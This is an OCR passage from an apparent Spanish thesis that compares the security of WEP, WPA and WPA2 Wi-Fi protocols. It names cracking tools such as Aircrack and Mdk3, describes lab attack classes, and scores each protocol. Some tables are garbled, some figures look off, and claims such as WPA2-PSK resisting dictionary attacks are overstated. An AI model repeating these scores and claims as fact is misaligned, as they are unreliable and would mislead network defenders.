herramientas inalambricas [6]. De acuerdo a los procedimientos generales
establecidos se ha determinado la utilizacion de un ordenador portéatil con software o

herramientas wireless para la auditoria, escaneo y ruptura, el mismo que contara con:

Tabla 8. Ataques y herramientas asociadas

TIPO DE USO HERRAMIENTA INALAMBRICA

Scanners y sniffers, Kismet , Netstumbler, Wireshark

ataque Inductivo ChopChop
ataque de inyeccion Suite Airckrack, Suite Airsnort
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ataque estadistico

. Suite Airckrack, Suite Airsnort
ataque de fragmentacion

ataque de Diccionario/Fuerza bruta Weplab, Suite Airckrack, CoWPAtty.

Denegacién de Servicio/autenticacion Mdk3 , Suite Airckrack

Los dos ambientes de pruebas que a continuacion se detalla:

Ambiente de prueba 1: Modo Personal

En esta primera instancia se configuraran los protocolos WEP, WPA-PSK, y el WPA2-
PSK, con sus respectivos mecanismos de cifrado WEP, TKIP, CCMP. Como se detalla
en la revision de literatura en esta seccion la parte de autenticacion lo esta realizando

(por asi decirlo) el mecanismo de cifrado.

Access Point

Atacante con herramientas Wireless
(Auditoria, escaneo vy ruptura)

Figura 17. Ambiente Modo Personal

Descripcion de Equipos y software

Equipos.- Portatil se usara como cliente enlazada a un Access Point que soportara
todos los protocolos de esta seccidn y otro que se usara para analizar, craquear y
atacar este ambiente

Software.- Software utilizado estad instalado en un portatil con las herramientas

inaldmbricas ya descritas.
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Ambiente de prueba 2: Modo Enterprise (Empresarial)

Se configuraran los protocolos WPA-ENT, y el WPA2-ENT, con sus respectivos
protocolos de cifrado TKIP, CCMP, y sus respectivos protocolos de autenticacion que

lo realiza el IEEE 802.1x con el protocolo asociado EAP-TTLS

S Py

S

Atacante con herramientas Wireless
(Auditoria, escaneo y ruptura)
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Figura 18 . Ambiente de Pruebas Modo Empresarial

.Descripcion de Equipos y software

Tabla 9 Descripcién de Equipos y software

Servidor Computador de escritorio Se instalara el servidor Freeradius,
con Openssl, mysqgl y daloradius

Autenticador Access Point cisco Configuracién de WPA y WPA2
WAP4410N
Suplicante Portatil gateway Wpa_suplicant
Atacante Portatil hp Herramientas inalambricas

En los dos ambientes de prueba se verificara si la contramedida es la mas adecuada
para contrarrestar la vulnerabilidad asociada impidiendo o no el ataque, es decir los

parametros expuestos brindaran el acceso seguro a la red WIFI.
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CAPITULO IV

ANALISIS E INTERPRETACION DE RESULTADOS

Debido a la naturaleza de difusion de la tecnologia inaldmbrica, asegurar los datos es
mucho mas dificil en una red inalambrica que una red cableada. Para realizar el
analisis de las vulnerabilidades de los protocolos de proteccion y autenticacion
inalambricos escogidos, se tom6 en consideracion el cifrado, mecanismo de entrega
de datos, autorizacion y si son aplicables ya que estos son inherentes a la norma
WLAN IEEE 802.11 en cuanto a la confidencialidad, integridad y disponibilidad

parametros de seguridad de la informacion.

Los mecanismos de cifrado son las formas utilizadas para proteger la informacion
atreves de llaves, claves, textos cifrados, etc. Mas alla el algoritmo se encarga de
realizar combinaciones, sustituciones y permutaciones entre el texto a cifrar y la clave,
asegurandose al mismo tiempo de que las operaciones puedan realizarse en ambas

direcciones (para el descifrado).

Los Criterios a la hora de elegir cual algoritmo de cifrado es mejor, en general, buscan
que ofrezcan un alto nivel de seguridad relacionado con una pequeiia clave utilizada
para cifrado y descifrado, ser comprensible, ser adaptable y econdmico y por ultimo

ser eficaz y exportable.

Los mecanismos de entrega de datos se definen como la capacidad de un protocolo

inalambrico para determinar si la informacion transmitida ha sido alterada por personas

no autorizadas., es decir si los datos fueron entregados correcta o incorrectamente.
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Es importante tomar en cuenta la autorizacién ya que a la hora de saber quién es el
que accede a la red se debe identificar si es en realidad quien dice ser. La
aplicabilidad ser& considerada como la factibilidad de usar la tecnologia en Ecuador,
es decir que cumpla con todos los requisitos funcionales para asegurar redes WIFI en

nuestro medio.

4.1. Andlisis y presentacién de resultados variable independiente

Para el analisis de la variable independiente, se hizo referencia a los datos existentes
en las especificaciones técnicas de cada protocolo inalambrico, los mismos que estan
especificados en los Capitulos Il y Il de este estudio de tesis. Se dar4 a la escala

cualitativa los siguientes valores cuantitativos:

Tablas con valores de Siy No:
e Sij, tendra el valor de 1

 No, tendra el valor de 0

Tabla 10. Escala Cualitativa de cuantificacion de indicadores variable independiente

Muy Malo Mm 0
Malo M 1
Bueno B 2

Muy Bueno Mb 3

Excelente E 4

VARIABLE INDEPENDIENTE: Andlisis de vulnerabilidades de protocolos de

proteccién y autenticacion inalambrico
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4.1.1 INDICADOR 1: Cifrado

Tabla 11. Cifrado de los protocolos

wee| wea | wew
ENT /TTLS ENT/TTLS

INDICES

Algoritmo de cifrado M B Mb Mb E
Susceptible tamafio del algoritmo de cifrado M B Mb Mb E
Tamarfio del VI corto M B Mb Mb E
Reutilizacion del VI M B Mb E E
Envio del VI texto plano M Mb Mb E E

Tabla 12. Resultados Cifrado de los protocolos

INDICES
PSK | ENT/TTLS | PSK | ENT/TTLS
Algoritmo de cifrado 1 2 3 3 4
Susceptible tamafio del algoritmo de cifrado 1 2 3 3 4
Tamafio del VI corto 1 2 3 3 4
Reutilizacion del VI 1 2 3 4 4
Envio del VI texto plano 1 3 3 4 4
4,5
4
3,5 M Algoritmo de cifrado
3
2,5 m Susceptible tamafio del
2 algoritmo de cifrado
1,5 ™ Tamafio del VI corto
1
0,5
'0 m Reutilizacion del VI

H Fnvio del VI texto plano

Figura 19. Gréfico Cifrado de los protocolos
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Interpretacion.-

WEP utiliza un algoritmo de cifrado de flujo de generacion pseudoaleatoria, y dado que
se basa en RC4*® [25] realiza la encriptacién de los valores usando un XOR con un
byte pseudo aleatorio, la corta longitud del vector de inicializacion (VI) de 24 bits hace
que éste se repita frecuentemente y de lugar a la posibilidad de realizar ataques
estadisticos para recuperar el plaintext, ademas el envio del vi en texto plano supone

otra vulnerabilidad[26].

WPA-PSK y WPA-ENT usan el algoritmo TKIP como mecanismo de encripcion aunque
usa el cifrado RC4 soluciona la debilidad del vector de inicializacién (VI) de WEP
mediante la inclusién de vectores del doble de longitud (48 bits), lo que permiten
generar combinaciones de claves diferentes evitando ataques de repeticion de tramas
(replay). TKIP utiliza la VI un contador de frames para proporcionar protecciéon de
reproduccion [22]. WPA-ENT las claves son generadas dindmicamente y distribuidas
de forma automatica por lo que se evita tener que modificarlas manualmente en cada

uno de los elementos de red cada cierto tiempo. [23]

WPA-PSK y WPA2-PSK Usa el sistema PSK, o de clave pre-compatrtida, realiza una
negociacién, pero no la distribucion. En él, todos los usuarios de la red inalambrica
tienen una misma contrasefia Wi-Fi, que el propio usuario define. WPA2-PSK y WPA2-
ENT usan el algoritmo CCMP como mecanismo de encripcion. El cifrado lo realiza con
AES que es un algoritmo de cifrado de bloque (dejando de lado la secuencia
psudoaleatoria) de 128 bits que hasta el dia de hoy no es vulnerado [21].En AES
CCMP, el IV ha sido reemplazado por un campo de ndimero de paquetes y se ha

duplicado en tamafio a 48 bits.

18 presentado al “Eighth Annual Workshop on Selected Areas in Cryptography”, August 2001.
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WPAZ2-ENT las claves ahora son generadas dinamicamente y distribuidas de forma
automatica. AES CCMP utiliza un conjunto de claves temporales que se derivan de
una llave maestra y otros valores.. AES CCMP regenera las claves de forma

automatica para obtener un nuevo conjunto de claves temporales. [19]

4.1.2 INDICADOR 2: Mecanismos de Entrega de Datos

Tabla 13. Mecanismos de Entrega de Datos

INDICES WEP
Mecanismo de Integridad de la cabecera M B Mb Mb E
Mecanismo de integridad independiente de M B Mb Mb E
llave y VI
Mecanismo integridad de forma lineal M B Mb Mb E

Tabla 14. Mecanismos de Entrega de Datos

INDICES
Mecanismo de Integridad de la cabecera 1 2 3 3 4
Mecanismo de integridad independiente de 1 2 3 3 4
llave y VI
Mecanismo integridad de forma lineal 1 2 3 3 4
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Figura 20. Gréfico Tamafio de Cifrado

Interpretacion.-

WEP provee de un mecanismo de integridad de mensajes mediante un el campo ICV
(Integrity Check Value) valido, el mismo que se genera simplemente haciendo un CRC
(Cyclic Redundancy Check) de 32 bits, del payload de la trama. Este mecanismo tiene

dos graves problemas [26]:

« Los CRCs son independientes de la llave utilizada y del IV ya que conocido el
plaintext de un solo paquete encriptado sea posible inyectar paquetes a la red.
Es facil concluir que WEP no realiza integridad de la cabecera por el uso de un
mecanismo de deteccidn de errores y no de integridad

« Debido a que los CRCs son lineales, se combina con una operacion XOR que
también es lineal y esto permite a un atacante interceptar un mensaje

(conocido o no) y madificarlo de forma conocida.

WPA-PSK y WPA-ENT existe un algoritmo llamado Michael que se usa para el calculo
de cddigos de integridad de mensaje (Message Integrity Code o MIC), evitando que un

atacante capture paquetes, los modifique y los reenvie. Michael intercala el ICV y los
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datos en el paquete enviado y cifrando el conjunto con TKIP. Al recibir el paquete se
compara el MIC calculado con el contenido en éste y si no coinciden se asume que los

datos han sido modificados, descartandolo.

Pero Michael se limit6 por la mayoria de hardware basado en el RC4 existente. en su
disefio no proporciona seguridad ante cierto ataque sostenido activo (ataque de fuerza
bruta / diccionario), pero realizan un cierre de la ventana de comunicaciones por 60
segundos para luego regenerar el proceso de claves, si bien mejora hay que ver que

esta solucion era temporal mientras apareciera una definitiva.[18]

WPA2-PSK y WPA2-ENT utiliza un aseguramiento de la cabecera del frame asi como
de los datos gracias al CCM™ . El calculo de suma de comprobacion cifrado con WEP
se reemplazé por el algoritmo AES CBC-MAC, que esta disefiado para proporcionar
una soélida integridad de los datos. El algoritmo CBC-MAC calcula un valor de 128 bits
y WPA2 utiliza los 64 bits de orden superior como un cédigo de integridad de mensaje

(MIC). WPAZ2 cifra el MIC con el cifrado de modo contador de AES.[19]

4.1.3 INDICADOR 3: Autorizacion

Tabla 15. Autorizacion

Pre-autenticacion NO NO NO Sl SI
Distribucién manual de clave Sl Sl NO Sl NO
Autenticacion basadas en maquina Sl Sl NO Sl NO
Permite desasociacion Sl Sl SI Sl SI
Insercion de trafico Sl NO NO NO NO

19 Counter with CBC-MAC (CCM) RFC 3610
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Tabla 16. Resultados Autorizacion

PSK | ENT/TTLS ENT/TTLS

Pre-autenticacion 0 0 0 1 1
Distribucién manual de clave 1 1 0 1 0
Autenticacion basadas en maquina 1 1 0 1 0
Permite desasociacion 1 1 1 1 1
Insercion de trafico 1 0 0 0 0
1,2
1 B - -
M Pre-autenticacion
0,8 -
06 - M Distribucién manual de
! clave
0,4 - m Autenticacién basadas en
maquina
0,2 - a
m Permite desasociacion
0 -
\‘;‘8 \Q M Insercion de trafico
oL

Figura 21. Gréfico Autorizacion

Interpretacion

Con WEP ambos mecanismos de autenticacion (Sistema Abierto y Clave Compartida)
son débiles, se puede desasociar e inyectar trafico. También como la distribucién se la
realiza manualmente se autentica a la maquina no asi al usuario dejando una puerta

abierta al poder suplantar la MAC del usuario legal. Sin poder realizar una pre-
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autenticacion para asociarse a otro AP no se garantiza que sea uno dentro de la

infraestructura legal y puede ser de un atacante.

WPA-PSK configura las claves manualmente en el AP y en el cliente. Se debe tener
en cuenta que pese al mejoramiento en el cifrado TKIP, deja abierta la vulnerabilidad
de parte del usuario al no generar claves lo suficientemente fuertes para poder
recuperarla, el mejoramiento del mecanismo de integridad no me permite realizar
inyeccién de trafico pero si es susceptible a desasociaciones por el hecho de

autenticar al usuario usando la MAC.

WPA-ENT utiliza una configuracibn mas robusta con un servidor de autenticacion
AAA y 802.1x/EAP-TTLS, ahora si se verifica a cada usuario (no solo a la MAC), la
generacion de claves es automatica y Unica por usuario dejando de lado la clave pre-
compartida que es para todos los del entorno. Vulnerar toda la infraestructura
montada es dificil, pero al seguir usando un cifrado ya vulnerado es susceptible a los
atagques de contrasefia, no me permite realizar inyecciéon de trafico pero si es
susceptible a interferencias e interrupcion pero esto es mas por parte del AP que en si

del protocolo o de su estructura.[13]

WPA2 en sus dos modos realiza pre-autenticacion, permitiendo a usuarios establecer
procesos de autenticacion con puntos de accesos proximos antes de completar la

autenticacion con el seleccionado, impidiendo de esta manera falsear un AP. [12]

WPA2-PSK la autenticacion es similar al de WPA Se debe tener en cuenta que pese
gue se distribuye manualmente la clave, al usar el cifrado AES que en la actualidad
no es posible vulnerarlo, no se puede obtener la clave de acceso. El mecanismo de
integridad CCM no me permite realizar inyeccion de trafico es susceptible a

disociaciones por el hecho de su ciframiento.
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WPA2-ENT es quizd una de las configuraciones empresariales mas dificiles de
vulnerar ya que mejoro a todos sus predecesores, utiliza ademas de su cifrado
mejorado una configuracién mas robusta con un servidor de autenticacion AAA y
802.1X/EAP-TTLS, genera claves automaticamente y Unica por usuario dejando de

lado la distribucion manual [20].

4.1.4 INDICADOR 4: Aplicabilidad

Tabla 17. Aplicabilidad

ENT /TTLS ENT / TTLS

El uso de la tecnologia esta permitidoy @ Sl Sl Sl Sl Sl
regulado en el Ecuador

Existencia de productos en el pais Sl Sl Sl Sl Sl

Tabla 18. Resultados Aplicabilidad

WEP | WPA WPA2
ENT/TTLS ENT/TTLS
1

El uso de la tecnologia esta permitido y 1 1
regulado en el Ecuador

1 1

Existencia de productos en el pais 1 1 1 1 1
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Figura 22. Gréfico Aplicabilidad
Interpretacion.-

Como se puede observar los protocolos que se puede aplicar en Ecuador [27] son
WEP, WPA y WPA2, ya que el uso de las mismas esta permitido y regulado en el
territorio nacional por la SUPTEL (Superintendencia de Telecomunicaciones), ademas
gue se puede encontrar variedad de productos que implementan dichas tecnologias en

el pais [28]

La tabla 19 muestra los resultados obtenidos del analisis de las vulnerabilidades de los
protocolos inalambricos y en qué medida son vulnerables las redes inalambricas
mediante los mecanismos de seguridad propuestos. Se ha descrito las carencias de
seguridad y vulnerabilidades descubiertas hasta la fecha para cada uno de los
protocolos inaldmbricos. De un andlisis profundo de los errores acometidos y la forma
de explotarlos, se puede decir los atagues mas comunes a los que son susceptibles
los protocolos inalambricos, no asi a los problemas del disefio del estandar IEEE

802.11, siendo asi:
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Tabla 19. Resumen del analisis de vulnerabilidades de protocolos de seguridad

IDENTIFICADOR INDICES
20 | Cifrado 5 11 15 17 20
12 Mecanismos de Entrega de Datos
9 3 6 9 9 12
PWI
5 Autorizacion
4 3 1 4 2
2| pplicabilidad
plicaniiiaa 2 2 2 2 2
TOTAL DE CADA PROTOCOLO (PT_PW) 14 22 27 32 36
Dénde:

Puntaje total del Andlisis:

PT= Y (Pi)

PT = 20(indicadorl)+12(indicador2)+5(Indicador3)+2(indicador3)= 39
Puntaje total de cada Protocolo Analizado: PT_PW= Y (Pwi)

Porcentaje total de cada Protocolo Analizado: (%PW)= (PT_PW / PT)*100%

Tabla 20. Porcentaje total de cada Protocolo Analizado

worces | wes wosz
ENT /TTLS ENT /TTLS
22 27 32 36

PT_PW 14

PT 39 39 39 39 39

%PW 39.90 | 56.41 69.23 82.05 92.31
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Figura 23. Porcentaje de seguridad frente a vulnerabilidades

Con todo lo expuesto podemos decir que: WEP es vulnerable a ataques de
contrasefias (Fuerza bruta, de diccionario), ataque Inductivo ChopChop, ataque de

inyeccion, ataque estadistico, ataque de fragmentacion y Denegacion de Servicios [3]

WPA PSK / ENT mitiga de forma directa el ataque Inductivo ChopChop, ataque de
inyeccion, ataque estadistico, ataque de fragmentaciébn. No obstante, WPA en
cualquiera de sus variantes sigue siendo vulnerable a ataques a contrasefas (Fuerza
bruta, de diccionario), puesto que el algoritmo de cifrado que emplea ha sido
vulnerado, también es vulnerable al ataque de denegacion de servicios DOS

(desautenticacion).[3]

WPA2 PSK / ENT igual que su antecesor mitiga de forma directa los ataques de
escuchas (Eavesdroping, Sniffing, Wardriving), ataque Inductivo ChopChop, ataque de
inyeccion, ataque estadistico, ataque de fragmentacion. Ademés, como utiliza un
mejor algoritmo de encripciébn (que no ha sido quebrantado) no es vulnerable a

ataques a contrasefias (Fuerza bruta, de diccionario). [3]
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4.2. Andlisis y presentacién de resultados variable dependiente

En cuanto a la variable dependiente, se toman en cuenta los dos ambientes de prueba
ya anteriormente detallados, en donde se analiza el acceso seguro basandonos en las
contramedidas con respecto a las vulnerabilidades encontradas en la seccion anterior.
El mismo consistird en realizar los ataques asociados a estas vulnerabilidades, y
dependiendo si tuvo éxito o no el ataque se evaluara la contramedida. Para la

cuantificacion de los indicadores se utilizé un valor como sigue:

Tabla 21. Escala Cualitativa de cuantificacion de indicadores variable dependiente

CATEGORIA ABREVIATURA VALORACION PORCENTAJE

Totalmente TI 0 0%
Inadecuado
Inadecuado I 1 25%
Poco Adecuado PA 2 50%
Adecuado A 3 75%
Muy Adecuado MA 4 100%

VARIABLE DEPENDIENTE:

Tecnologia adecuada para el acceso seguro en redes WIFI

4.2.1 INDICADOR 1: Confidencialidad

Tabla 22. Confidencialidad

wer wosz
ENT /TTLS ENT /TTLS
PA PA MA MA

Tamario de algoritmo de cifrado PA A A MA MA

Algoritmo de cifrado mejorado I
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Cifrado generado Dinamicamente Tl A A MA MA

VI cifrado y mejorado I A A MA MA

Tabla 23. Resultados de Confidencialidad

wer wosz
ENT /TTLS ENT/TTLS
2 2 4 4

Algoritmo de cifrado mejorado 1
Tamario de algoritmo de cifrado 2 3 3 4 4
Cifrado generado Dinamicamente 0 3 3 4 4
VI cifrado y mejorado 1 3 3 4 4
4.5
4
3.5
3 - M Algoritmo de cifrado
25 - mejorado
2 B Tamafio de algoritmo de
1.5 cifrado
1 m Cifrado generado
0.5 - Dindmicamente
0 .

m VI cifrado y mejorado

Figura 24. Grafico Confidencialidad

Interpretacion.-

WEP al seguir generando una secuencia pseudoaleatoria sigue teniendo problemas
del algoritmo de cifrado el tamafio del mismo y envio en plano del VI. Por otro lado en
el cifrado mejora su uso inicial de 40 a 104 bits dando cierto demora en descubrir las
claves y los paquetes asegurados, pero no se soluciona y dando que el ataque de

induccion chopchop, el ataque de contrasefias (fuerza bruta/ diccionario) (anexo Al)
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es efectivo y logra desencriptar la clave de acceso como de los datos. Se concluye
que WEP es inadecuado para el cifrado de los datos ya que no permite dar

confidencialidad a los datos.

WPA PSK/ ENT mejoran considerablemente, pese a que sigue utilizando RC4 que en
el caso de WEP fue vulnerado por tal razén es poco adecuado ya que el ataque de
contrasefias (fuerza bruta/ diccionario) (anexo Al) tiene éxito en claves cortas. El
tamafio de cifrado aumenta a 128 bits de cifrado, el VI aumenta a 48 bits y es usado
para el cifrado, se genera dinamicamente por paquete siendo adecuado ya que deja

de un lado los ataques de induccidn chopchop, ataque estadistico (anexo A2).

WPA2 PSK/ ENT para el cifrado usa un algoritmo simétrico de bloques AES que hasta
el dia de hoy no existe un mecanismo de romperlo, incrementa igualmente el tamafio
del cifrado a 128 y VI a 48 , igualmente el cifrado es dinamico por cada paquete lo que
dificulta poder capturar y mucho menos romperlo este mecanismo en todos los puntos
analizados es Muy adecuado para la proteccion de los datos impidiendo de gran
manera el ataque de contrasefias (fuerza bruta/ diccionario) incluso con claves cortas
y los ataques de induccion chopchop, ataque estadistico (anexo A3) no tienen ningun

efecto

4.2.2 INDICADOR 2: Integridad

Tabla 24. Integridad

Integridad de la cabecera TI A A MA MA
Integridad cifrada TI A A MA MA
Integridad dependiente de la llave y VI TI A A MA MA
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Tabla 25. Resultados de Integridad

INDICES
PSK | ENT/TTLS | PSK | ENT /TTLS
Integridad de la cabecera 0 3 3 4 4
Integridad cifrada 0 3 3 4 4
Integridad dependiente de la llave y VI 0 3 3 4 4
1.5
4
35
3
2.5 A M Integridad de la cabecera
2 .
15 - B Integridad cifrada
1 -
05 m Integridad dependiente
o de lallave y VI
& & 2 o >
<+ \Q \'(\ "V\Q \'<\

Ny & & &
& &
&

Figura 25. Gréfico Integridad

Interpretacion.-

WEP no posee integridad en la cabecera de los datos ya que no mejora el uso del
mecanismo de Integridad MIC y solo genera una comprobacién si los frames fueron
entregados en el mismo tamafo, es decir un simple checksum, Ademéas como antes
ya se describi6 al no ser cifrado el MIC no depende de la llave ni del VI siendo
totalmente inadecuado el uso siendo los ataques de inyecciéon y fragmentacién

posibles (anexo Al).

WPA PSK/ ENT hace uso de un mecanismo de integridad Michael, es

significativamente mejor a una comprobacion de redundancia ciclica basado en un
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hash lineal, aqui los datos son protegidos con una clave MIC ya no se envian en claro,
este mecanismo de cifrado igualmente depende de la llave y el VI ya que se fusiona
con este para la generacion de claves maestras del cifrado, que como ya se cito es
dindmico por paquete, volviéndolo al mecanismo de integridad adecuado para la

seguridad dejando de un lado los ataques de inyeccién y fragmentacion (Anexo A2).

WPA2 PSK/ ENT el CCM es un modo de funcionamiento combinado en el que utiliza
la misma clave de cifrado para obtener confidencialidad asi como para crear un valor
de comprobaciéon de integridad criptograficamente seguro, CCM, que combina los
datos de CTR de confidencialidad y CBC-MAC para la autenticacion e integridad.
Ademas protege la integridad y autenticidad de los paquetes y la secuencia de
verificacion de trama (FCS), que se utiliza para la deteccion y correccion de errores.
Es asi que vuelve al mecanismo de integridad muy adecuado para la seguridad y deja

de un lado los ataques de inyeccion y fragmentacion (Anexo A3).

4.2.3 INDICADOR 3: Disponibilidad

Tabla 26. Disponibilidad

wep wes2
ENT/TTLS ENT/TTLS
Evita desasociacion | | | I I

Excluye la insercion de trafico | | I A A A

Tabla 27. Resultados de Disponibilidad

wer wosz
ENT/TTLS ENT/TTLS
1 1 1 1 1

Evita desasociacion

Excluye la insercién de trafico | 1 1 3 3 3
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Figura 26. Gréfico Disponibilidad

Interpretacion.-

WEP no evita la insercion de trafico en especial los paquetes EAPOL desasociacion
con el Access Point. Como se ha comentado ya, los paquetes de gestion que maneja
el estandar IEEE802.11 no son cifrados por el punto de acceso, esto permite que
cualquier estacion pueda construir paquetes de este tipo e inyectarlos al punto de
acceso un atacante puede forjar un paquete de desautenticacion y remitirlo al AP con
la direccibn MAC de la estacion a desautenticar. Esta accién supone inherentemente
una desasociacion del punto de acceso impidiendo que la estacion atacada pueda
transmitir cualquier tipo de informacion por la red. De esta manera las contramedidas
para evitar un fallo en la disponibilidad con el protocolo WEP sean inadecuadas
permitiendo que los ataques de Denegacion De Servicio/Autenticacion (Anexo Al)

sean posibles

WPA y WPA2 cada uno en sus dos modos (PSK / ENT) evitan la insercion de tréfico

gracias a sus mecanismos de integridad MIC y CCM respectivamente, pero igual que
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le sucede con WEP no pueden hacer nada frente a un ataque de denegacion de

servicio debido a que los paquetes de gestion que maneja el estandar IEEE802.11 no

son protegidas con privacidad, autenticacion e integridad, esto permite que cualquier

atacante realice un ataque de Denegacion De Servicio/Autenticacion (Anexo A2 para

WPA y Anexo A3 para WPA2).

4.2.4 INDICADOR 4: Autentificacion

Tabla 28. Autentificacion

INDICES

wer wesg

Soporta negociacion de
autenticacion

pre-

PSK | ENT PSK | ENT
| JTTLs | | TILS |

Distribucién automatica de clave TI TI MA Tl MA
Autenticacion de usuario TI TI MA TI MA
Permite autenticacién mutua TI TI MA Tl MA
Uso de protocolo de autenticacion TI TI MA TI MA

Tabla 29. Resultados de Autentificacion

INDICES

Soporta negociacion de pre- 0 0 0 4 4
autenticacion

Distribucién automatica de clave 0 0 4 0 4
Autenticacion de usuario

Permite autenticacion mutua 4

Uso de protocolo de autenticacion 0 0 4 0 4
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Figura 27 Gréfico Autentificacion.

Interpretacion.-

WEP realiza una autenticacion lo realiza mediante la clave pre-compartida en el
medio, no se distribuye automaticamente dejando que la misma sea configurada en
cada usuario siendo totalmente inadecuado su uso. Autenticacién mutua inexistente ni
un servidor con los respectivos protocolos de autenticidad (802.1x EAP-TTLS) que
ayude en el proceso de verificacion del usuario. Para concluir no soporta negociacion
de pre-autenticacién lo que lo hace que ataques de fragmentacién e inyeccidén y en
especial ataques de contrasefias (fuerza bruta y de diccionarios) sean posibles.

(Anexo Al)

WPA y WPA2 PSK igual que WEP no existe una distribucion automatica de claves ya
que se pre-comparte en el medio y el saludo inicial o “4-wayhandshake”solo es
necesario capturar las seis primeras tramas intercambiadas entre el usuario y el AP
para obtener la clave por lo que ataques de contrasefias (fuerza bruta y de
diccionarios) son posibles (Anexo A2 para WPA y Anexo A3 para WPA2). Tampoco
hay una autenticacibn mutua no existe un servidor y por ende protocolos de

autenticacion no estan presentes la clave PSK hace el rol de este.
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WPA2 en sus dos modos permite realizar pre-autenticacion, es util ya que permite a
usuarios establecer procesos de autenticacion con puntos de accesos proximos antes
de completar la autenticacién con el seleccionado, impidiendo de esta manera falsear

un AP y evitar ataques de fragmentacion e inyeccion (Anexo A3).

WPA y WPA2 en su modo Enterprise con 802.1x EAP-TTLS ofrece una autenticacion
fuerte mutua, se autentica al usuario con credenciales basadas en nombre de usuario
y contrasefias, establece una doble fase de autenticacidon una externa en donde se
obtiene un canal de comunicacion seguro y una interna las credenciales del usuario
son enviadas, por lo que ataques de contrasefas (fuerza bruta y de diccionarios) no

son posibles. (Anexo Al)

Se ha probado las vulnerabilidades descubiertas hasta la fecha para cada uno de los

protocolos inalambricos siendo asi:

Tabla 30. Porcentaje total de cada Protocolo Analizado

16 Confidencialidad 4 11 11 16 16
PWI | 12 Integridad 0 9 9 12 12
8 Disponibilidad 2 2 4 4 4
20 | Autentificacion 0 0 16 4 20
PT_PW 6 22 40 36 52
PT 56
%PW

10.7 | 39.28 | 71.42 | 64.28 | 92.85

De donde:

PT= ¥ (Pi)
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PT = 16(indicadorl)+12(indicador2)+8(Indicador3)+20(indicador4)= 56
Puntaje total de cada Protocolo Analizado: PT_PW= Y (Pwi)

Porcentaje total de cada Protocolo Analizado: (%PW)= (PT_PW / PT)*100%

uWEP

m WPA PSK

B WPA ENT /TTLS
B WP2 PSK

B WP2 ENT / TTLS

Porcentaje total de cada Protocolo

Figura 28 Porcentaje Total Protocolos Inalambricos.

WEP tiene un 10.7% de seguridad, WPA PSK es seguro en un 39.28% y WPA/ ENT
en un 71.42%, WPA2 PSK es seguro en un 64.28% y WPA2/ENT en un 92.85%. La
tabla 25 muestra los resultados obtenidos del analisis en el acceso seguro a las redes

inalambricas mediante los mecanismos de seguridad propuestos.

Las contramedidas de cada protocolo frente a su vulnerabilidad asociada lo resuelve

de distinta manera cada uno siendo lo siguiente:
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Tabla 31. Resultados analisis contramedidas en el acceso seguro

WPA2
IDENTIFICADOR | INDICES -_— ENT /TTLS
T LT DT RO
X

Algoritmo de cifrado mejorado

Confidencialidad | Tamafio de algoritmo de cifrado X

cifrado generado dinamicamente X

VI cifrado y mejorado X

Integridad de la cabecera X

Integridad Integridad cifrada

><><><><><><><E

X | X | X|X| XX
X | X | X | X | XX
X | X | X | X | XX

Integridad dependiente de lallave y VI | X

Evita desasociacion X X X X X

Disponibilidad - - :
Excluye la insercion de trafico X X X X X

Soporta negociacion de pre-
autenticacion

Distribucién automatica de clave

Autentificacion | Autenticacion de usuario

Permite autenticacion mutua

X | X | X | X| X

Uso de protocolos de autenticacion

© | X | X |[X| X X
o X | X[ X | X | X
M X XXX
XX XX

Total




4 .3.Valorizacion de los resultados

Para la valorizacién veamos un ejemplo: el protocolo WEP obtuvo un valor de 1 en la
escala de 0 a 4 equivale al 25%, y si el protocolo tuviera una ponderizacién de 4

entonces necesitamos saber cuanto representa ese 25% de 5 entonces se haria asi:

WEP:
Ponderizacion: 4
Valor en la escala: 1= (25%)
Valor numérico: 25% de4d4 =1

También se debe indicar que para describir el acceso seguro se considera los

siguientes aspectos que se describe brevemente:

Tabla 32. Consideraciones Acceso Seguro

CATEGORIA VALORACION DESCRIPCION ABREVIATURA
Totalmente 0
Inadecuado Acceso Seguro Bajo ASB
Inadecuado 1
Poco Adecuado 2 Acceso Seguro Moderado ASM
Adecuado 3
Acceso Seguro Alto ASA
Muy Adecuado 4
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Tabla 33. Valorizacion Variable Dependiente

-

2 [3 |4 (O 2 [3 |4 (O 2 |3 |4 (O 2 |3 |4 (O .

94|12, 0, 052,126,021 12|74 4|12, 012,80 12|01 12

0.5 0.5/0.5 4.5 0.2/0.5/5.2 0.2 0.7 0.2 0.7
o0 1,0/,0/,0 0 0O 0/ O0/O0|O|5 0/ 5/ 4 0|5/0/ 5/ 8, 0/ 5|0|5])12

Total 1 0,5 0 0,5 0,5 4,5 025 |05 925 0,25 0 8,75 0,25 0 12,75
AS AS AS AS AS
ASB M ASA ASB M ASA ASB M ASA ASB M ASA ASB M ASA




4.4.Prueba de la Hipotesis

Las hipoétesis cientificas son sometidas a prueba para determinar si son apoyadas o
refutadas de acuerdo con lo que el investigador observa, no podemos probar que una
hipotesis sea verdadera o falsa, sino argumentar que fue apoyada o no de acuerdo

con ciertos datos obtenidos en la investigacion.

Por lo tanto no existe un método que permita saber con seguridad que una desviacion
es el resultado exclusivo del azar, sin embargo hay pruebas estadisticas que permiten
determinar algunos limites de confianza. Una de estas es la prueba del Chi-cuadrado
(X3 que permite calcular la probabilidad de obtener resultados que Gnicamente por
efecto del azar se desvien de las expectativas en la magnitud observada si una

solucion a un problema es correcta.

Una prueba de hipétesis estadistica es una regla que con base en una hipétesis nula

(Ho).nos ayuda a decidir si esta se acepta o rechaza.

Planteamiento de la hipotesis

H, = El andlisis de vulnerabilidades de protocolos de proteccion y autenticacion
inalambrico permitird escoger una tecnologia adecuada para el acceso seguro en

redes WIFI.

Ho, = El andlisis de vulnerabilidades de protocolos de proteccion y autenticacion

inalambrico no permitird escoger una tecnologia adecuada para el acceso seguro en

redes WIFI.
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Nivel de significacion:
a=0.05

Criterio

Rechace la Hy si XZ 2 X7 1)

XZ = chi cuadrado calculado.

XZ = chi cuadrado de tabla.

Tabla de Contingencia de lo observado

Tabla 34. Tabla de contingencia de lo Observado

DEPENDIENTE | INDICES

ENT /| TOTAL

Acceso seguro Alto
Tecnologia 0 4,5 925 875 12,75 3525
adecuada para | Acceso Seguro
el acceso
seguro de | Moderado 0,5 05 0,5 0 0 15
datos en redes
Wifi Acceso Seguro Bajo 1 05 025 | 025 | 025 )25
TOTAL 15 55 10 9 13 39

La frecuencia esperada de cada celda, se calcula mediante la siguiente férmula

aplicada a la tabla de frecuencias observadas.

f = (total_fila)(tota_columna)
o =

" @

Donde N es el nimero total de frecuencias observadas.
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Para la primera celda la frecuencia esperada seria:

